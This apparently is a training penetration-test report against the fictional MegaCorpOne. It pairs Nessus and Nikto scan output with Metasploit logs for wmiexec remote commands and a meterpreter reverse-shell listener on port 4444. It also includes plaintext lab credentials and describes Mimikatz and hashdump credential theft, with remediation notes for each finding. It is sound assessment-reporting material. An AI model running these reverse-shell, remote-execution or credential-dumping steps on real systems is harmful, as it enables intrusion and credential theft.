/var/www/dvwa/external/phpids/8.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.txt
/var/www/dvwa/external/phpids/8.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt
/var/www/dvwa/external/phpids/8.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt
/var/www/dvwa/external/phpids/8.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.Custome.txt
/var/www/dvwa/external/phpids/8.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt
```

```
find: /var/spool/postfix/public: Permission denied
find: /var/spool/postfix/active: Permission denied
find: /var/spool/postfix/bounce: Permission denied
cat /var/tmp/adminpassword.txt
Jim,

These are the admin credentials, do not share with anyone!

msfadmin:cybersecurity
```

Apache Server's Critical/ Nessus Scans

Risk Rating: **Critical**

Description:

In order to find several Apache exploits on its domain and subdomains, I used Nessus, which is a vulnerability scanner that can be used to identify vulnerabilities in various systems and applications. I first scanned the domain of the target website using Nessus. The scan identified several vulnerabilities in the Apache web server that was being used on the domain. Some of the vulnerabilities that were identified included outdated versions of Apache, and missing security patches.

After identifying the vulnerabilities on the domain, I then scanned the subdomains of the target website using Nessus. This helped me to identify any additional vulnerabilities that may exist on these subdomains. The scan revealed that several of the subdomains were also using outdated versions of Apache, and were also missing security patches. Furthermore, Nessus provided me with detailed information about the specific vulnerabilities that were present, as well as the severity of the vulnerabilities. This helped me to prioritize which vulnerabilities to address first.

Once the vulnerabilities were identified, I was able to use the information provided by Nessus to manually verify and exploit the vulnerabilities. By exploiting these vulnerabilities, I was able to gain access to sensitive information stored on the server, and potentially use it to launch further attacks. Using Nessus helped me to find and exploit several Apache exploits on the domain and subdomains effectively and efficiently.

The screenshot displays the Nessus Essentials web interface. At the top, a notification bar states: "There's an error with your feed. Click here to view your license information." The main content area is titled "My Host Discovery Scan Results".

My Host Discovery Scan Results

Nessus found the following hosts listed below from your list of targets (149.56.244.87/24). To launch your first basic network scan, select the hosts you want to scan. These hosts count towards the 16 host limit on your license.

| IP | DNS |
|---|-----------------------|
| <input checked="" type="checkbox"/> 149.56.244.0 | |
| <input checked="" type="checkbox"/> 149.56.244.5 | |
| <input checked="" type="checkbox"/> 149.56.244.6 | ip6.ip-149-56-244.net |
| <input checked="" type="checkbox"/> 149.56.244.12 | |
| <input checked="" type="checkbox"/> 149.56.244.18 | |
| <input checked="" type="checkbox"/> 149.56.244.20 | |
| <input checked="" type="checkbox"/> 149.56.244.19 | |

Buttons: Back, Run Scan

Progress: Discovering Hosts...

Scan Details (Port 111):

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Output

The following RPC services are available on UDP port 111 :

- program: 100000 (portmapper), version: 4
- program: 100000 (portmapper), version: 3
- program: 100000 (portmapper), version: 2

| Port | Hosts |
|--------------------------|---------------|
| 111 / udp / rpc-portm... | 149.56.244.86 |

The following RPC services are available on TCP port 111 :

- program: 100000 (portmapper), version: 4
- program: 100000 (portmapper), version: 3
- program: 100000 (portmapper), version: 2

| Port | Hosts |
|--------------------------|---------------|
| 111 / tcp / rpc-portm... | 149.56.244.86 |

Risk Information

Risk Factor: None

nessus
Essentials

Scans Settings

There's an error with your feed. [Click here to view your license information.](#)

?

FOLDERS

My Scans 1

All Scans

Trash

RESOURCES

Policies

Plugin Rules

Terrscan

Tenable News

Cybersecurity Snapshot: CISOs Are Happier, but Dev...

[Read More](#)

My Basic Network Scan / Plugin #142960

[Back to Vulnerability Group](#)

Vulnerabilities 21

MEDIUM HSTS Missing From HTTPS Server (RFC 6797)

Description

The remote web server is not enforcing HSTS, as defined by RFC 6797. HSTS is an optional response header that can be configured on the server to instruct the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks, SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.

Solution

Configure the remote web server to use HSTS.

See Also

<https://tools.ietf.org/html/rfc6797>

Output

The remote HTTPS server does not send the HTTP "Strict-Transport-Security" header.

Plugin Details

Severity:

ID:

Version:

Type:

Family:

Published:

Modified:

Risk Information

Risk Factor: Me

CVSS v3.0 Base

CVSS v3.0 Vecto

CVSS3.0/AV:N/A

CVSS v2.0 Base

CVSS v2.0 Vecto

CVSS2#AV:N/AC

Windows Taskbar

5:21 PM 1/25/2023

nessus
Essentials

Scans Settings

There's an error with your feed. [Click here to view your license information.](#)

Admin

FOLDERS

My Scans 1

All Scans

Trash

RESOURCES

Policies

Plugin Rules

Terrscan

Tenable News

Oracle January 2023 Critical Patch Update Address...

[Read More](#)

My Basic Network Scan / Plugin #51192

[Back to Vulnerability Group](#)

Vulnerabilities 21

MEDIUM SSL Certificate Cannot Be Trusted

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below:

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

Solution

Purchase or generate a proper SSL certificate for this service.

See Also

<https://www.itu.int/rec/T-REC-X.509/en>
<https://en.wikipedia.org/wiki/X.509>

Output

The following certificate was at the top of the certificate chain sent by the remote host, but it is signed by an unknown certificate authority:

```
|Subject : C=US/O=Internet Security Research Group/CN=ISRG Root X1
|Issuer : O=Digital Signature Trust Co./CN=DT Root CA X1
```

Plugin Details

Severity: Medium

ID: 51192

Version: 1.19

Type: remote

Family: General

Published: December 15, 2010

Modified: April 27, 2020

Risk Information

Risk Factor: Medium

CVSS v3.0 Base Score 6.5

CVSS v3.0 Vector: CVSS3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS v2.0 Base Score: 6.4

CVSS v2.0 Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N

Windows Taskbar

5:24 PM 1/25/2023

Nessus Essentials / Folders / View x +

Not secure | <https://localhost:8834/#/scans/reports/8/hosts/2/vulnerabilities/group/133845/133845>

There's an error with your feed. [Click here to view your license information.](#)

nessus Essentials Scans Settings Admin

CRITICAL Apache Tomcat 7.0.x < 7.0.100 / 8.5.x < 8.5.51 / 9.0.x < 9.0.31 Multiple Vulnerabilities

Description
The version of Tomcat installed on the remote host is 7.0.x prior to 7.0.100, 8.x prior to 8.5.51, or 9.0.x prior to 9.0.31. It is, therefore, affected by multiple vulnerabilities.

-An HTTP request smuggling vulnerability exists in Tomcat due to mishandling Transfer-Encoding headers behind a reverse proxy. An unauthenticated, remote attacker can exploit this, via crafted HTTP requests, to cause unintended HTTP requests to reach the back-end. (CVE-2019-17569)

-An HTTP request smuggling vulnerability exists in Tomcat due to bad end-of-line (EOL) parsing that allowed some invalid HTTP headers to be parsed as valid. An unauthenticated, remote attacker can exploit this, via crafted HTTP requests, to cause unintended HTTP requests to reach the back-end. (CVE-2020-1935)

-An arbitrary file read vulnerability exists in Tomcat's Apache/JSP Servlet Protocol (AJP) due to an implementation defect. A remote, unauthenticated attacker could exploit this to access files which, under normal conditions, would be restricted. If the Tomcat instance supports file uploads, the vulnerability could also be leveraged to achieve remote code execution. (CVE-2020-1938)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

Solution
Upgrade to Apache Tomcat version 7.0.100, 8.5.51, 9.0.31 or later.

See Also
<https://www.cnvd.org.cn/webinfo/show/5415>
<http://www.nessus.org/u?8eb6246>
<http://www.nessus.org/u?4e287adb>
<http://www.nessus.org/u?bc3d54e>

Output

| Port | Hosts |
|-----------------|---------------|
| 443 / tcp / www | 149.56.244.50 |
| 80 / tcp / www | 149.56.244.50 |

Plugin Details

Severity: Critical
ID: 133845
Version: 1.15
Type: combined
Family: Web Servers
Published: February 21, 2020
Modified: April 11, 2022

Risk Information

Risk Factor: High
CVSS v3.0 Base Score: 9.8
CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3.0 Temporal Vector: CVSS:3.0/E:H/RL:O/RC:C
CVSS v3.0 Temporal Score: 9.4
CVSS v2.0 Base Score: 7.5
CVSS v2.0 Temporal Score: 6.5
CVSS v2.0 Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS v2.0 Temporal Vector: CVSS2#E:H/RL:O/RC:C
IAVM Severity: I

Vulnerability Information

CPE: cpe:/a:apache:tomcat
Exploit Available: true
Exploit Ease: Exploits are available
Patch Pub Date: February 11, 2020
Vulnerability Pub Date: February 20, 2020

Reference Information

CISA-KNOWN-EXPLOITED: 2022/CB/17
IAVB: 2020-8-0010-S

Nessus Essentials / Folders / View x +

Not secure | <https://localhost:8834/#/scans/reports/8/hosts/2/vulnerabilities/group/133845/103698>

There's an error with your feed. [Click here to view your license information.](#)

nessus Essentials Scans Settings Admin

My Basic Network Scan / Plugin #103698

HIGH Apache Tomcat 7.0.x < 7.0.82 / 8.5.x < 8.5.23 Multiple Vulnerabilities

Description
The version of Apache Tomcat installed on the remote host is 7.0.x prior to 7.0.82 or 8.5.x prior to 8.5.23. It is, therefore, affected by an unspecified vulnerability when running with HTTP PUTs enabled (e.g. via setting the readonly initialization parameter of the Default to false) that makes it possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.

Note that Nessus has attempted to exploit this issue but has instead relied only on the application's self-reported version number.

Solution
Upgrade to Apache Tomcat version 7.0.82 / 8.5.23 or later.

See Also
<http://www.nessus.org/u?4f047e41>

Output

| Port | Hosts |
|------------------|---------------|
| 443 / tcp / www | 149.56.244.50 |
| 80 / tcp / www | 149.56.244.50 |
| 8080 / tcp / www | 149.56.244.50 |

Plugin Details


Severity: High
ID: 103698
Version: 1.14
Type: combined
Family: Web Servers
Published: October 6, 2017
Modified: April 11, 2022

Risk Information

Risk Factor: Medium
CVSS v3.0 Base Score: 8.1
CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3.0 Temporal Vector: CVSS:3.0/E:H/RL:O/RC:C
CVSS v3.0 Temporal Score: 7.7
CVSS v2.0 Base Score: 6.8
CVSS v2.0 Temporal Score: 5.9
CVSS v2.0 Vector: CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS v2.0 Temporal Vector: CVSS2#E:H/RL:O/RC:C

Vulnerability Information

CPE: cpe:/a:apache:tomcat
Exploit Available: true
Exploit Ease: Exploits are available
Patch Pub Date: October 3, 2017
Vulnerability Pub Date: October 3, 2017



Affected Hosts: megacorpone.com

Remediation:

- Patch the servers to ensure that known vulnerabilities cannot be exploited as easily.
- Do not reuse passwords to include using the same password across multiple services.
- Security Awareness training to improve security among employees

```
kali@kali: ~  
File Actions Edit View Help  
$ nikto -h www.megacorpone.com -Tuning x  
- Nikto v2.1.6  
  
+ Target IP: 149.56.244.87  
+ Target Hostname: www.megacorpone.com  
+ Target Port: 80  
+ Start Time: 2023-01-23 14:42:58 (GMT-5)  
  
+ Server: Apache/2.4.38 (Debian)  
+ The anti-clickjacking X-Frame-Options header is not present.  
+ The X-XSS-Protection header is not defined. This header can hint to the use  
r agent to protect against some forms of XSS  
+ The X-Content-Type-Options header is not set. This could allow the user age  
nt to render the content of the site in a different fashion to the MIME type  
+ No CGI Directories found (use '-C all' to force check all possible dirs)  
+ Retrieved x-powered-by header: PHP/7.3.31-1-deb10u2  
+ Entry '/nanites.php' in robots.txt returned a non-forbidden or redirect HTT  
P code (200)  
+ "robots.txt" contains 2 entries which should be manually viewed.  
+ Server may leak inodes via ETags, header found with file /, inode: 390b, si  
ze: 596aedca79780, mtime: gzip  
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET  
+ OSVDB-3233: /icons/README: Apache default file found.  
+ 7891 requests: 0 error(s) and 9 item(s) reported on remote host  
+ End Time: 2023-01-23 14:49:46 (GMT-5) (408 seconds)  
  
+ 1 host(s) tested
```

LLMNR Spoofing Vulnerability

Risk Rating: **Critical**

Description:

LLMNR spoofing is a technique used by attackers to obtain password hashes from networked systems. In this engagement, CyberSafe set up a listener and attempted to grab password hashes as systems went through the authentication process. The attempt to gather data from the network was successful and was able to obtain the client, username, and password hash.

The hash was then moved to a text file and then cracked using "John the Ripper". This cracking process is able to compare the hash with a pre-computed list of possible plaintext values, and once a match is found, the attacker is able to obtain the original plaintext password. In this case, the resulting credentials obtained were (username: pparker - password: Spring2021) which could be used for future access.

LLMNR spoofing is a powerful technique that can be used to gather sensitive information from the network, even in environments where NTLM authentication is being used. It is important to note that this technique is not limited to Windows systems and can be used against any system that uses LLMNR. The use of LLMNR spoofing is a reminder of the importance of securing networks, and implementing best practices such as the use of unique and complex passwords..

Affected Hosts:.megacorpone.com

Remediation:

- Disable the LLMNR service

Windows Management Instrumentation (WMI) Vulnerability

Risk Rating: **Medium**

Description:

In order to gather information on the target www.megacorpone.com, I used Windows Management Instrumentation (WMI), which is a powerful tool that is used for Windows administration. However, it can also be used by attackers to gather information, as it provides an attacker with visibility to all system processes. I used the Metasploit framework and the exploit "auxiliary/scanner/smb/impacket/wmiexec" to retrieve the current running processes on the target machine.

The exploit "auxiliary/scanner/smb/impacket/wmiexec" allows an attacker to run arbitrary commands on the target machine using WMI. It uses the Simple Object Access Protocol (SOAP) to communicate with the WMI service and interact with the target machine. I ran the exploit to execute commands on the target machine and retrieve the list of running processes. This sensitive system and network data provided me with valuable information about the target machine's configuration and running processes, which I could use to remain undetected, make changes to systems, achieve persistence, and move laterally within the network.

Additionally, I also used the information to identify specific services and applications running on the target machine, which could be vulnerable to known exploits. I also used the information to identify any network connections, which could be used to move laterally within the network. With the help of WMI and Metasploit, I was able to gather a wealth of information on the target www.megacorpone.com that I could use to achieve my objectives.

Affected Hosts: megacorpone.com

Remediation:

- Additional tools to monitor and detect specific activities on the network
- Deploy anti-malware systems to detect the use of powershells

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > set COMMAND tasklist
COMMAND => tasklist
msf6 auxiliary(scanner/smb/impacket/wmiexec) > run

[*] Running for 172.22.117.20...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*]
Image Name                                PID Session Name        Session#    Mem Usage
-----
System Idle Process                       0 Services              0             8 K
System                                    4 Services              0            120 K
Registry                                  72 Services              0          13,584 K
smss.exe                                  356 Services              0            868 K
csrss.exe                                 460 Services              0           2,412 K
csrss.exe                                 528 Console                1           1,440 K
wininit.exe                               544 Services              0           2,448 K
winlogon.exe                              588 Console                1           3,464 K
services.exe                              632 Services              0           5,648 K
lsass.exe                                 672 Services              0          13,488 K
fontdrvhost.exe                           736 Console                1             740 K
fontdrvhost.exe                           744 Services              0             952 K
svchost.exe                               808 Services              0          11,236 K
svchost.exe                               852 Services              0           8,200 K
LogonUI.exe                               936 Console                1          40,812 K
svchost.exe                               968 Services              0           8,936 K
svchost.exe                              1004 Services              0          56,536 K
dwm.exe                                   420 Console                1          20,364 K
svchost.exe                               628 Services              0          13,360 K
svchost.exe                              1048 Services              0          15,676 K
svchost.exe                              1056 Services              0          17,096 K
svchost.exe                              1064 Services              0           4,964 K
svchost.exe                              1108 Services              0          14,092 K
svchost.exe                              1136 Services              0          14,092 K
svchost.exe                              1232 Services              0           5,996 K
svchost.exe                              1360 Services              0          12,196 K
Memory Compression                       1560 Services              0          43,440 K
VSSVC.exe                                1704 Services              0           5,276 K
svchost.exe                               1792 Services              0           3,808 K
svchost.exe                               1868 Services              0           6,452 K
svchost.exe                               1948 Services              0           3,276 K
svchost.exe                               1956 Services              0           4,980 K
spoolsv.exe                               1604 Services              0          11,572 K
svchost.exe                               2212 Services              0           3,816 K
svchost.exe                               2304 Services              0          23,876 K
MsMpEng.exe                              2328 Services              0          80,072 K
svchost.exe                               2876 Services              0           4,720 K
NlsSrv.exe                               3184 Services              0           8,432 K
svchost.exe                               3776 Services              0           5,692 K
MicrosoftEdgeUpdate.exe                  4064 Services              0           3,328 K
SgrmBroker.exe                            3088 Services              0           5,560 K
uhssvc.exe                                2456 Services              0           5,620 K
svchost.exe                               3408 Services              0          10,100 K
svchost.exe                               552 Services              0           8,144 K
SearchIndexer.exe                         1076 Services              0          16,056 K
svchost.exe                               2248 Services              0           7,216 K
svchost.exe                               3884 Services              0          15,688 K
WmiPrvSE.exe                              896 Services              0           9,496 K
cmd.exe                                   388 Services              0           3,904 K
conhost.exe                               2196 Services              0          11,984 K
```

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > set COMMAND ver
COMMAND => ver
msf6 auxiliary(scanner/smb/impacket/wmiexec) > run

[*] Running for 172.22.117.20 ...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*]
Microsoft Windows [Version 10.0.19042.1288]
```

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > set COMMAND systeminfo
COMMAND => systeminfo
msf6 auxiliary(scanner/smb/impacket/wmiexec) > run

[*] Running for 172.22.117.20 ...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*]
Host Name:                WINDOWS10
OS Name:                  Microsoft Windows 10 Pro N
OS Version:               10.0.19042 N/A Build 19042
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:         sysadmin
Registered Organization:
Product ID:               00331-60000-00000-AA689
Original Install Date:    5/10/2021, 12:17:16 AM
System Boot Time:         7/12/2022, 7:26:24 PM
System Manufacturer:      Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2295 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.0, 11/1/2019
Windows Directory:        C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     927 MB
Available Physical Memory: 275 MB
Virtual Memory: Max Size:  2,655 MB
Virtual Memory: Available: 1,914 MB
Virtual Memory: In Use:    741 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    megacorpone.local
Logon Server:              N/A
Hotfix(s):                  7 Hotfix(s) Installed.
                           [01]: KB5005539
                           [02]: KB4562830
                           [03]: KB4570334
                           [04]: KB4580125
                           [05]: KB4580864
                           [06]: KB5006670
                           [07]: KB5005699
Network Card(s):           1 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
```

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > set COMMAND net session
COMMAND => net session
msf6 auxiliary(scanner/smb/impacket/wmiexec) > run

[*] Running for 172.22.117.20 ...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*]
Computer           User name          Client Type        Opens Idle time
-----
\\127.0.0.1         tstark             1 00:00:00
\\172.22.117.100    tstark             0 00:00:01
The command completed successfully.

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/impacket/wmiexec) > 
```

Reverse Shell Vulnerability

Risk Rating: **High**

Description:

To establish a reverse shell on the domain of www.megacorpone.com, I first used the tool msfvenom to initiate a listener port. Msfvenom is a payload generation tool that allows you to generate various types of payloads, including reverse shells, which can be used to establish a connection between the attacker's machine and the target. I configured the listener on a specific port, in this case, it was Port 4444.

Once the listener was established, I used Metasploit along with the exploit "exploit/multi/handler" and payload "windows/meterpreter/reverse_tcp" to create a reverse shell on the target machine. Metasploit is a powerful framework that allows you to exploit vulnerabilities in various systems, and the "exploit/multi/handler" module is used to handle the payloads generated by msfvenom. The payload "windows/meterpreter/reverse_tcp" was used to establish a reverse TCP connection between the target machine and my machine, allowing me to gain a meterpreter session.

This allowed me to bypass the firewalls and gain complete control of the target machine, giving me access to all the resources on the server. The Meterpreter session also allowed me to execute various commands, such as capturing keystrokes, capturing screenshots, and uploading/downloading files. This helped me to gather information and exfiltrate data from the target machine.

Affected Hosts: megacorpone.com

Remediation:

- Remove unnecessary services, restricting the execution of the reverse shell code
- Perform scheduled maintenance and patching to limit potential vulnerabilities
- Lock all outgoing connectivity except for specific ports.

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.22.117.100
LHOST => LHOST 172.22.117.100
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.22.117.100  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.22.117.100  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Wildcard Target

msf6 exploit(multi/handler) > exploit -j
[*] Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > set LHOST 172.22.117.100
LHOST => 172.22.117.100
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.22.117.100:4444
```

Credential Dumping

Risk Rating: **High**

Description:

During the engagement, CyberSafe employed the use of Mimikatz Kiwi to extract all user information from the Windows Domain Controller. This powerful tool allows for the extraction of user credentials, including password hashes, from the Active Directory database. By executing the command "kiwi_cmd lsadump::cache", CyberSafe was able to collect all of the credentials stored on the Domain Controller. These credentials were saved in a file called "hash.txt" for further analysis.

The next step in the process was to crack the password for the user "bbanner", which was accomplished using the tool "John the Ripper". This tool is a popular password cracking tool that uses a dictionary attack and brute force methods to crack passwords. By using "John the Ripper" on the "hash.txt" file, CyberSafe was able to successfully crack the password for the user "bbanner".

With this information, CyberSafe was able to move laterally across the network, which would be challenging to detect as it may appear as normal network activity. This resulted in a full compromise of the system, giving an attacker access to move freely across the network. This highlights the importance of strong password policies and regular password updates to prevent such attacks. The ability to move laterally across the network undetected is a significant concern as it allows an attacker to access sensitive information and disrupt operations. CyberSafe recommends that MegaCorpOne take immediate action to address this vulnerability and implement stronger security measures to protect their network.

Affected Hosts:.megacorpone.com

Remediation:

- Update the endpoint Security Solution
- Maintain proper IT hygiene by eliminating Vulnerabilities

Compromised Server Users.

Risk Rating: Medium

Description:

To view all compromised servers and users registered on the domain of www.megacorpone.com, I used the Meterpreter shell, which is a powerful post-exploitation tool that can be used to gain access to a compromised system and manipulate it in various ways. The first step I took was to gain access to a compromised server on the domain by exploiting a known vulnerability. Once I had access to the server, I used the Meterpreter shell to interact with the system and gain a deeper level of access.

Once I had a Meterpreter shell on the compromised server, I used various commands to gather information about the server and the other systems on the domain. I was able to use the command "ps" to view all the processes running on the server, and "sysinfo" to gather information about the operating system, hardware, and network configuration. I also used the command "netstat -ano" to view all the active network connections, which helped me identify other systems on the domain. After gathering this information, I was

able to identify the other servers and users that were compromised on the domain of www.megacorpone.com.

Additionally, I used the command "hashdump" to extract the password hashes on the server. This allowed me to try cracking the passwords to gain access to other user accounts on the domain. With the help of Meterpreter shell, I was able to view all the compromised servers and users registered on the domain and gain a deeper level of access on the network.


Affected Hosts: megacorpone.com

Remediation:

- Update the endpoint Security Solution
- Maintain proper IT hygiene by eliminating Vulnerabilities

MITRE ATT&CK Navigator Map

[Using the [MITRE ATT&CK Navigator](#), build out a map showing what techniques you've used so far. To do so, on the MITRE ATT&CK Navigator page, click "Create New Layer," then "Enterprise," and select each technique that you've used. Change the color of each selected technique to highlight it in yellow if it was successful, or in red if it was unsuccessful, as the following image shows:



| layer X + | | | | | | | | | | |
|--|--|---|---|--|----------------------------------|---|--|---------------------------------------|--|----------------------------------|
| selection controls layer controls technique controls | | | | | | | | | | |
| Execution 13 techniques | Persistence 19 techniques | Privilege Escalation 13 techniques | Defense Evasion 42 techniques | Credential Access 17 techniques | Discovery 30 techniques | Lateral Movement 9 techniques | Collection 17 techniques | Command and Control 16 techniques | Exfiltration 9 techniques | Impact 13 techniques |
| Command and Scripting Interpreter (0/6) | Account Manipulation (0/5) | Abuse Elevation Control Mechanism (0/6) | Abuse Elevation Control Mechanism (0/4) | Adversary-in-the-Middle (0/3) | Account Discovery (0/4) | Exploitation of Remote Services | Adversary-in-the-Middle (0/3) | Application Layer Protocol (0/4) | Automated Exfiltration (0/1) | Account Access Removal |
| Container Administration Command | BITS Jobs | Access Token Manipulation (0/2) | Access Token Manipulation (0/2) | Brute Force (0/4) | Application Window Discovery | Internal Spearphishing | Archive Collected Data (0/3) | Communication Through Removable Media | Data Transfer Size Limits | Data Destruction |
| Deploy Container | Boot or Logon Autostart Execution (0/14) | Boot or Logon Autostart Execution (0/14) | BITS Jobs | Credentials from Password Stores (0/5) | Browser Bookmark Discovery | Lateral Tool Transfer | Audio Capture | Data Encoding (0/2) | Exfiltration Over Alternative Protocol (0/3) | Data Encrypted for Impact |
| Exploitation for Client Execution | Boot or Logon Initialization Scripts (0/5) | Boot or Logon Initialization Scripts (0/14) | Build Image on Host | Exploitation for Credential Access | Cloud Infrastructure Discovery | Remote Service Session Hijacking (0/2) | Automated Collection | Data Obfuscation (0/3) | Exfiltration Over C2 Channel | Data Manipulation (0/3) |
| Inter-Process Communication (0/7) | Browser Extensions | Create or Modify System Process (0/4) | Debugger Evasion | Forced Authentication | Cloud Service Dashboard | Remote Services (0/6) | Browser Session Hijacking | Dynamic Powercat (0/2) | Exfiltration Over Other Network Medium (0/1) | Defacement (0/2) |
| Native API | Compromise Client Software Binary | Domain Policy Modification (0/2) | Decfuscate/Decode Files or Information | Forge Web Credentials (0/2) | Cloud Service Discovery | Replication Through Removable Media | Clipboard Data | Fallback Channels (11008) | Exfiltration Over Physical Medium (0/1) | Disk Wipe (0/2) |
| Scheduled Task/Job (0/5) | Create Account (0/3) | Escape to Host | Deploy Container | Input Capture (0/4) | Cloud Storage Object Discovery | Software Deployment Tools | Data from Configuration Repository (0/2) | Ingress Tool Transfer | Exfiltration Over Web Service (0/2) | Endpoint Denial of Service (0/4) |
| Serverless Execution | Create or Modify System Process (0/4) | Event Triggered Execution (0/16) | Direct Volume Access | Modify Authentication Process (0/7) | Container and Resource Discovery | Taint Shared Content | Data from Information Repositories (0/3) | Multi-Stage Channels | Scheduled Transfer | Firmware Corruption |
| Shared Modules | Event Triggered Execution (0/16) | Exploitation for Privilege Escalation | Execution Guardrails (0/1) | Multi-Factor Authentication Interception | Debugger Evasion | Use Alternate Authentication Material (0/4) | Data from Local System | Non-Application Layer Protocol | Transfer Data to Cloud Account | Inhibit System Recovery |
| Software Deployment Tools | External Remote Services | Hijack Execution Flow (0/12) | Exploitation for Defense Evasion | Multi-Factor Authentication Request Generation | Domain Trust Discovery | | Data from Network Shared Drive | Non-Standard Port | | Network Denial of Service (0/2) |
| System Services (0/2) | Hijack Execution Flow (0/12) | Process Injection (0/12) | File and Directory Permissions Modification (0/2) | Network Sniffing | File and Directory Discovery | | Data from Removable Media | Protocol Tunneling | | Resource Hijacking |
| User Execution (0/3) | Implant Internal Image | Scheduled Task/Job (0/2) | Hide Artifacts (0/10) | | Group Policy Discovery | | | | | Service Stop |
| Windows Management Instrumentation | | | Hijack Execution Flow (0/12) | | Network Service Discovery | | | | | System Shutdown/Reboot |
| | | | Impair Defenses (0/2) | | Network Share Discovery | | | | | |

The following completed MITRE ATT&CK navigator map shows all of the techniques and tactics that [CyberSafe] used throughout the assessment.

Legend:

Performed successfully

Failure to perform

[MITRE ATT&CK navigator map]